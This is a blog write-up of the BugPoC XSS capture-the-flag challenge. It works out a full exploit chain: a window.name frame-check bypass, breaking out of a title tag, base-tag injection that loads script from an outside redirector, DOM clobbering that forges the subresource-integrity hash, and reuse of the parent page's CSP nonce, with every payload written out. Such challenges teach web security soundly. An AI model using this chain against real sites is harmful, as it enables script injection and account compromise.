BugPoC XSS Challenge

Nov 10, 2020 · 7 min read

Just show me the solution already!
Fair enough, here you go:
PoC URL: https://bugpoc.com/poc#bp-yWlmd3py
Password: RushFROG09

On 11/04, BugPoC’s latest contribution to their CTF collection kicked off. I was eagerly waiting for the challenge to go live and finally, a tweet came in:

The rules were as follows:

1. You must alert(origin) showing https://wacky.buggywebsite.com
2. You must bypass CSP
3. It must be reproducible using the latest version of Chrome
4. You must provide a working proof-of-concept on bugpoc.com

Cool site, what can it do?

The functionality of the page was to make user-supplied text ‘whacky’. I brought up one of my best friends, chrome’s developer tool, and noticed the ‘whacky’ result was displayed in an iframe:

This was also confirmed by looking into the only script loaded on the page, script.js:

Interestingly, the user-supplied text was passed to the iframe as a GET parameter ‘param’.

My next step was to open up /frame.html, but BugPoC wasn’t going to let me view the page that easy:

Well, can we just load the page in an iframe on our own page then?

X-frame-options: SAMEORIGIN


Hmm, how is the check performed to determine whether the page is embedded in an iframe or not? I opened up the developer tool again and saw this line in a script tag on the page:

Seeing this line formed a smile on my face. If you’ve followed LiveOverflow, you know why:

As LiveOverflow explains in his YouTube video, the value of window.name persists across websites (read more here). This means we could set the value of window.name to the string “iframe” on our own website, and then load wacky.buggywebsite.com/frame.html effectively bypassing the check!

Let’s start testing


And sure enough, the page loads without showing the error!

Cool, now let’s pop an XSS. If we just set the ‘param’ parameter to one of our favorites XSS payloads and…

Well, it doesn’t seem like we’re done yet. Our payload isn’t even parsed as HTML. Or is it? Always remember to look for ALL the places your payload is reflected in. And yup, our payload is also reflected in the title tag:

payload: <img src=x onerror=alert(origin)>

But was does that matter? It’s still escaped properly. Right..? Well, if you’ve ever tried to have your payload reflected in the title tag, you know that you should try and close the tag before concluding that the payload actually is escaped:

payload: </title></head><img src=x onerror=alert(origin)>

Yay! It worked! But wait… Where’s our beloved alert box? Let’s check the developer console:

Content Security Policy strikes

Hi there CSP!

Looking at the source code of the page, we can see that the scripts use the nonce attribute. The nonce value is randomly generated and we can’t guess it, so let’s try to take another approach to overcome the CSP policy.

A script tag using the nonce attribute

Let’s use Google’s CSP Evaluator to see what we’re up against:

Thanks, Google! Seems like we might be able to bypass the page’s CSP policy using the base tag. But does the page even use any relative URL’s? Let’s look at the page’s source code again:

Yes! As seen on line 203, there is one place where a relative URL is used. So let’s host a script and pop an alert! To do so I’ll use BugPoC’s awesome tools Mock Endpoint to host some Javascript and Flexible Redirector to create a 302 redirect to our endpoint, which will work no matter the path it’s accessed from (and subdomain). I used the following settings (notice the headers) for the mock endpoint:

Remember to set the Access-Control-Allow-Origin header!

Our exploit is now:

window.location.href="https://wacky.buggywebsite.com/frame.html?param=</title></head><base href=//<YOUR_ID>.redir.bugpoc.ninja>"

But we still don’t see a beautiful pop-up :( Instead, we see the following in the developer console:


So how is this hash value set? Well, let’s look at the code again:

Ok cool, but what is this ‘fileIntegrity.value’ thing?

Well, how on earth can we influence the value of this object? Wait a moment. How is it again that window object works… Well, an element with an id can be accessed through the window object as so:


And what if that element has a value attribute, like an input tag has… I like where this is going¹. If we create an input element with the id ‘fileIntegrity’ and give it a value attribute we might be able to control the value of the hash used in the integrity attribute!

Current exploit:

window.location.href="https://wacky.buggywebsite.com/frame.html?param=</title></head><base href=//<YOUR_ID>.redir.bugpoc.ninja><input id=fileIntegrity value=lol>"
The beautiful moment of sha256-lol

Yes! We can see that we’ve now successfully taken control over the value of the hash in the integrity attribute. All we need to do now to execute our own script is to calculate the base64 encoded sha-256 hash of our script and provide that as the value of our input element instead of ‘lol’. You can eg. use this tool by LaySent to do so.

Our exploit is now:

window.location.href="https://wacky.buggywebsite.com/frame.html?param=</title><base href=//<YOUR_ID>.redir.bugpoc.ninja/><input id=fileIntegrity value=<YOUR_URL_ENCODED_HASH>"

Now let’s pop that alert!

But I don’t want to be in the sandbox

Photo by Alexander Dummer on Unsplash

Hmm… Could we maybe just do some stuff outside of the sandboxed iframe? How about using parent.document.write() to create an element in the context of the parent window? Let’s change the content of our hosted script to:


Oh well, we’re back where we started:

Content Security Policy strikes… Again

Don’t guess, just read

var nonce = parent.document.scripts[0].nonce;
parent.document.write("<script nonce="+nonce+">alert(origin);</script>");

And well:

The feeling of joy

WE DID IT! What a great feeling. Thanks for following along in this journey towards the sacred alert box and thanks to BugPoC for the great challenge!


[1] Mainly because I’ve already solved the challenge when writing this and know this is the right path to take, but you get my point.

The Startup

Get smarter at building your thing. Join The Startup’s +737K followers.